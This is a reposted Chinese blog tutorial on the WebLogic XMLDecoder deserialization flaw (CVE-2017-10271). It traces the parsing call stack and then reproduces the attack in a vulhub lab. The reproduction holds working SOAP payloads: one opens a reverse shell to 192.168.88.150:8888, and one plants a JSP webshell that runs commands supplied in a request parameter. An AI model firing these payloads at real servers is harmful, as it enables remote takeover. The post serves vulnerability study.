WebLogic XMLDecoder反序列化漏洞

news/2025/1/20 3:40:45/文章来源:https://www.cnblogs.com/smileleooo/p/18237569

目录
  • 前言
  • XMLDecoder概述
  • XMLDecoder反序列化漏洞
  • 漏洞复现

前言

上篇复现了T3反序列化漏洞,XMLDecoder反序列化在WebLogic中也是一类影响很大的反序化漏洞。

XMLDecoder概述

XMLDecoder是JDK自带的以SAX方式解析xml的类,实现java对象和xml文件之间的转化。其中序列化过程是将java对象转换成xml文件,反序列化就是把特定格式的xml文件转换成java对象。

XMLDecoder基于SAX解析,从头到尾逐行逐个元素读取内容,拿到节点、属性、值之后通过Expression创建对象及调用方法。

XMLDecoder反序列化漏洞

我们可以先构造一个特殊的xml文件,让XMLDecoder去解析一下:

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start"/></object>
</java>

image

使用XMLDecoder去反序列化xml数据,可以看到数据中包含的命令会被执行,弹了个计算器。反序列化后的执行代码类似于new ProcessBuilder(cmd).start();这样。


所以我们试着在ProcessBuilder的start方法打个断点,大致看一下调用栈的流程(jdk1.8.0_221):

image

首先直接去到XMLDocumentFragmentScannerImpl类的scanDocument方法,其中会通过循环迭代的方式解析,解析逻辑在next方法里面,next方法会逐行的去解析xml。

image

其具体的解析方式依赖于DocumentHandler类,在DocumentHandler构造函数中为不同的标签定义了不同的handler,每个handler都以key-value的形式存储,每个标签可以通过节点名称来获取对应的handler。

image

其中会调用回调方法进行相应事件处理,比如startElement和endElement会在每当遇到起始或终止标签时调用。在startElement方法中首先解析java标签,从构造方法中HashMap取出对应的值,然后设置Owner和Parent。

image

之后去解析下一个object标签,拿到属性之后通过addAttribute设置属性。

image

其中调用了父类的addAttribute方法。

image

然后通过反射的方式生成了java.lang.ProcessBuilderClass对象。

image

赋值完之后跳出循环进入this.handler.startElement就这样依次解析下面的标签。解析完所有的开始标签之后,进入到endElement开始解析闭合标签。

image

然后调用ElementHandler类的getValueObject获取标签内的value值。

image

经过多次的handler的getValueObject调用,标签都闭合之后,最终去调用ObjectElementhandler的getValueObject方法。

image

最终得到的var3的值为java.lang.ProcessBuilder,var4的值为start,再通过Expression的var5的getValue方法反射调用start触发命令执行。

其实最后相当于最后拼接了这样一个表达式:

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

水平有限这里只是大概走了个流程,详细过程可参考:https://www.cnblogs.com/LittleHann/p/17814641.html

总之,XMLDecoder导致漏洞的原因就是在于这些handler处理节点的时候,对外部输入的XML指定节点类型信息没有做限制,同时在进行节点实例化的时候允许节点属性由XML任意控制,最终再由Java反射特性实现了代码执行。


WebLogic XMLDecoder反序列化漏洞的原因在于,Weblogic的WLS Security组件对外提供webservice服务,其中就使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,最终导致可执行任意命令。

如果对WebLogic XMLDecoder反序列化更深入的了解的话,可以IDEA远程调试Weblogic,根据复现爆出的调用栈进行跟踪调试。

可参考这篇文章:https://shu1l.github.io/2021/02/09/weblogic-xmldecoder-fan-xu-lie-hua-lou-dong-xue-xi/#动态调试

有关WebLogic的XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差异主要在于出问题的包、黑名单过滤的标签。

漏洞复现

这里用vulhub靶场的CVE-2017-10271漏洞环境进行复现XMLDecoder反序列化漏洞远程命令执行。

影响版本:Weblogic < 10.3.6

环境搭建:

cd ./vulhub/weblogic/CVE-2017-10271
docker compose up -d

访问这些目录手动检测:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

浏览器访问/wls-wsat/CoordinatorPortType路径,出现下图就说明大可能存在漏洞:

image

使用Burp拦截请求页面,请求方法改为POST,添加如下header字段,其中Content-Length为Payload的长度:

Content-Type: text/xml
Content-Length: 640

image

POST的Payload如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.88.150/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

简单解释一下Payload的构造原理:

开头和末尾的几个标签主要是SOAP的协议规范,java标签中的是恶意的XML数据。XMLDecoder对象包含一个rocessBuilder对象用来构建一个指定命令的进程,执行一个反弹shell的命令。

整个XML反序列化后相当于执行代码:

String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "bash -i >& /dev/tcp/192.168.88.150/8888 0>&1";
new ProcessBuilder(cmd).start();

监听本机的8888端口收到shell:

image

POST如下Payload可以写入webshell:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bbb.jsp</string><void method="println"><string><![CDATA[
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream(); int a = -1; byte[] b = new byte[2048];  while((a=in.read(b))!=-1){ out.println(new String(b)); } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope

执行命令:

image

从整个XMLDecoder反序列化漏洞的来看(CVE-2017-3506 -> CVE-2017-10271 -> CVE-2019-2725 -> CVE-2019-2729),漏洞原理都是相似,主要是针对黑名单修补丁的绕过。

补丁分析:https://xz.aliyun.com/t/8465?time__1311=n4%2BxuDgDBDyDnDfhYxlxGhb78PxrCQDj24rD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-7

参考文章:
https://www.cnblogs.com/LittleHann/p/17814641.html
https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
https://zhuanlan.zhihu.com/p/108754274


若有错误,欢迎指正!o( ̄▽ ̄)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/722066.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第四日

4. 从前序与中序遍历序列构造二叉树 题目描述:给定两个整数数组 preorder 和 inorder ,其中 preorder 是二叉树的先序遍历, inorder 是同一棵树的中序遍历,请构造二叉树并返回其根节点。 示例:输入: preorder = [3,9,20,15,7], inorder = [9,3,15,20,7] 输出: [3,9,20,nul…

Python_编程基础

Python_编程基础 Python编程基础 0、简单介绍 解释型语言:一边编译一边运行,不需要进行编译,运行效率比较低 解释器 JavaScript-浏览器 python.exe php.exe 编译型语言:运行前需要进行编译,运行效率比较高 C .c->.exe 组合:anaconda+pycharm、python+pychar…

答题判题程序终版与家居强电电路模拟程序两次迭代

目录: 一)前言 二)设计与分析 三)踩坑心得 四)改进建议 五)总结 一.前言 (1)答题判题程序-4: 【1】知识点:正则表达式,判题的逻辑思维能力,数据形式转换。 【2】题量:很大 【3】难度:很难 是前三次答题判题程序迭代优化的最终形态,难度较高,它对于类的种类的个…

AX6000 Zerotier 开机自启 持久化虚拟 MAC 地址

步骤:当前先配置好 Zerotier,保证可以拿到 IP 地址;将整个 Zerotier 复制到 /data 下;cp -a /var/lib/zerotier-one /data/zerotier删掉 /data/zerotier/ 下的 zerotier-one.pid 文件 在 /data/auto_ssh/auto_ssh.sh 末尾添加如下内容:cp -a /data/zerotier /var/lib/zero…

Java第二次Blog

7-4~6题目集 前言 这些题目主要用到对象与类的处理继承与多态的使用: 继承和多态是面向对象编程中相互关联的两个概念。继承为多态提供了基础,而多态则通过继承实现了代码的灵活性和可扩展性。 1.字符串处理:需要对输入的题目信息和答题信息进行字符串分割、提取和处理,以获…

D - 88888888

D - 88888888 https://atcoder.jp/contests/abc357/tasks/abc357_d思路 Code https://atcoder.jp/contests/abc357/submissions/54384091LL n;LL base = 998244353;LL getlen(LL n){LL cnt = 0;while(n){cnt++;n /= 10;}return cnt; }LL ksm(LL a, LL b) {LL t = 1;while (b){…

Git底层原理与分析模型

https://www.cnblogs.com/liqinglucky/p/git.html 一、git版本管理 1.1 背景--从写毕业论文讲文档备份 让我们从写毕业论文的经历讲起。通常开始写论文之前,先在一个开阔的空间创建了一个文件夹用于保存将来的论文稿。然后就开始了我们的 “毕业论文版本管理”。这样管理存在的…

SpringBoot配置文件敏感信息加密方案

在SpringBoot Project中,会将一些敏感信息配置到application.yml/application.properties配置文件中(同样适用于Spring Cloud的各个微服务其实(微服务实例)本质就是一个SpringBoot),例如数据库的用户名和密码、Redis的密码等。为了保证敏感信息的安全,我们需要将此类数据…

pythontqdm实现git进度条效果

注意1:这里是在python3环境下使用的git,安装要使用 pip install Gitpython 来安装在python环境下的git 注意2:这个方法可适用于 windows 环境和 Linux 环境import git import tqdmrepo_url = https://gitee.com/alichinese/oebuild-bin.git local_path = F:\\test\\oebuild-…

重生之我在男航学Java-2

一、前言答题判题程序-4 新增内容:选择题,填空题,输出顺序的变化,考虑多个同学有多张不同试卷的答卷的情况 新增知识点:抽象类的运用; 在设计好前三次的题目集的情况下,将原本的题目类设计为抽象类(本来在第一次题目集的时候就可以如此设计,但是当时学的不够多),同时…